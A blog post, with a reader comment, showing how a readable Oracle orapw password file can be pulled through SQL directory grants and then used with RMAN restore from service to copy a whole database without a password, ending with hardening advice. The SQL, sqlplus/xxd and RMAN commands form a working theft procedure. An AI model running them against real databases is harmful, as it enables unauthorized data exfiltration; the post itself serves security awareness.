Infrastructure at your Service

Franck Pachot

Keep your orapw password file secure

By January 5, 2018 Oracle 2 Comments

By Franck Pachot

This is a small demo I did when I’ve found a database password file (orapw) lying around in /tmp with -rw-rw-rw- permissions, to show how this is a bad idea. People think that the orapw file only contains hashes to validate a password given, and forget that it can be used to connect to a remote database without password.

I can easily imagine why the orapwd was there in /tmp. To build a standby database, you need to copy the password file to the standby server. If you don’t have direct access to the oracle user, but only a sudo access for ‘security reasons’, you can’t scp easily. Then you copy the file to /tmp, make it readable by all users, and you can scp with your user.

In this demo I don’t even have access to the host. I’ve only access to connect to a PDB with the SCOTT users, reated with utlsampl.sql, with those additional privileges, a read access on $ORACLE_HOME/dbs:

SQL> connect sys/[email protected]// as sysdba
SQL> create or replace directory DBS as '/u01/app/oracle/product/12.2.0/dbhome_1/dbs';
Directory DBS created.
SQL> grant read on directory DBS to SCOTT;
Grant succeeded.

People tend to grant many privileges, and think that a read access on a directory which is supposed to contain only configuration files is harmless. Let’s see what you can do from another server.

Get the orapw file from a remote connection

I connect with SCOTT which can read from ORACLE_HOME/dbs:

SQL> connect scott/[email protected]//
SQL> show user
SQL> select * from all_directories;
OWNER   DIRECTORY_NAME   DIRECTORY_PATH                                  ORIGIN_CON_ID
-----   --------------   --------------                                  -------------
SYS     DBS              /u01/app/oracle/product/12.2.0/dbhome_1/dbs                 4

I create a table to read this file (other possibilities utl_tile, external tables,…):

SQL> create table DEMO ( b blob );
Table DEMO created.
SQL> insert into demo values ( bfilename('DBS','orapwCDB1') );
1 row inserted.

I’m on another server with the same version of Oracle Database software installed.

I use sqlplus to retrieve the server file to my client:

sqlplus -s scott/[email protected]// <<EOF |xxd -p -r > $ORACLE_HOME/dbs/orapwCDB1
set pages 0 lin 17000 long 1000000000 longc 16384
select * from DEMO;

This (documented by Laurent Schneider) uses sqlplus to display the BLOB variable as hexadecimal code and xdd (installed with vim-common) to revert it to binary.

So, on my server I have a copy of the database password file for the database I want to steal:

[[email protected] ~]$ strings /u01/app/oracle/product/12.2.0/dbhome_1/dbs/orapwCDB1
ORACLE Remote Password file
f       ts6 $9


A nice feature of 12c is the ability to pull backups from a service. With this, it is the destination that connects to the source. I have diagrams to explain here). It is an easy alternative to RMAN DUPLICATE (see MOS Doc ID 2283978.1 Creating a Physical Standby database using RMAN restore from service). And one difference is that you don’t have to provide the password:

I prepare a small init.ora and directory for the datafiles

echo "db_name=CDB1" > $ORACLE_HOME/dbs/initCDB1.ora
mkdir -p /u01/oradata/CDB1

I’m still on my server with the copy of the remote orapw file and a network access to the source database and I just restore it, without the need for a password:

RMAN> connect target /
connected to target database (not started)

I start a local instance:

RMAN> startup nomount force
Oracle instance started
Total System Global Area     859832320 bytes
Fixed Size                     8798552 bytes
Variable Size                784338600 bytes
Database Buffers              58720256 bytes
Redo Buffers                   7974912 bytes

I restore the controlfile:

RMAN> restore controlfile from service '//';
Starting restore at 05-JAN-18
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=262 device type=DISK
channel ORA_DISK_1: starting datafile backup set restore
channel ORA_DISK_1: using network backup set from service //
channel ORA_DISK_1: restoring control file
channel ORA_DISK_1: restore complete, elapsed time: 00:00:02
output file name=/u01/oradata/CDB1/control01.ctl
output file name=/u01/fast_recovery_area/CDB1/control02.ctl
Finished restore at 05-JAN-18

That’s the interesting part because it has to be connected, at least as SYSOPER, to the source database but I didn’t provide any password.

I mount this controlfile locally:

RMAN> alter database mount;
Statement processed
released channel: ORA_DISK_1

And now it is easy to pull the whole database (the CDB with all its PDBs) to my local server:

RMAN> restore database from service '//';
Starting restore at 05-JAN-18
Starting implicit crosscheck backup at 05-JAN-18
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=262 device type=DISK
Crosschecked 6 objects
Finished implicit crosscheck backup at 05-JAN-18
Starting implicit crosscheck copy at 05-JAN-18
using channel ORA_DISK_1
Finished implicit crosscheck copy at 05-JAN-18
searching for all files in the recovery area
cataloging files...
cataloging done
List of Cataloged Files
File Name: /u01/fast_recovery_area/CDB1/autobackup/2018_01_04/o1_mf_s_964524009_f4vzyt59_.bkp
File Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_15_f4w5vv19_.arc
File Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_16_f4wmm0t8_.arc
File Name: /u01/fast_recovery_area/CDB1/archivelog/2018_01_04/o1_mf_1_14_f4vzjdl1_.arc
using channel ORA_DISK_1
channel ORA_DISK_1: starting datafile backup set restore
channel ORA_DISK_1: using network backup set from service //
channel ORA_DISK_1: specifying datafile(s) to restore from backup set
channel ORA_DISK_1: restoring datafile 00001 to /u01/oradata/CDB1/system01.dbf
channel ORA_DISK_1: restore complete, elapsed time: 00:00:16
channel ORA_DISK_1: starting datafile backup set restore

So what?

This is not an issue and is totally expected. In a Data Guard configuration, the primary and standby database have to communicate with each others and then need a passwordless authentication. This is done with the password file, and this is the reason why you need to copy it rather than just create another one with the same passwords.

So, there is more than just a hash of the password (which is required to validate a password) and probably includes a key (randomly generated when you create the password file) used for passwordless authentication.

Then, be careful, and do not give read access to the orapw files. You must secure them in the same way as a ssh key or an encryption wallet. and this include:

  • Do not leave a copy of the orapw file in a shared location
  • Be careful with grants on directories, even in READ
  • Do not grant CREATE ANY DIRECTORY except for a PDB with PATH_PREFIX lockdown


  • Great article Franck. This is something that have always concerned me: the ability of a passwordless connection just having a copy of a pwfile. As you said, if pwfile was just a collection of hashes, the SBY DB wouldn’t be able to authenticate with the PRI DB as it won’t be able to reverse the hash. So something else is there to allow this connection.

    Oracle should change this behavior. In my opinion, a DG should work together with Oracle Wallet (you would setup there the credentials of PRI instance) and pwfile should be only a collection of hashes.

    Rodrigo Jorge

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Franck Pachot
Franck Pachot

Principal Consultant / Database Evangelist
Oracle ACE Director, Oracle Database OCM 12c
AWS Database Specialty certified, AWS Data Hero
Oak Table member

RSS for this blog: feed
Twitter: @FranckPachot
LinkedIn :
Podcast en français: DBPod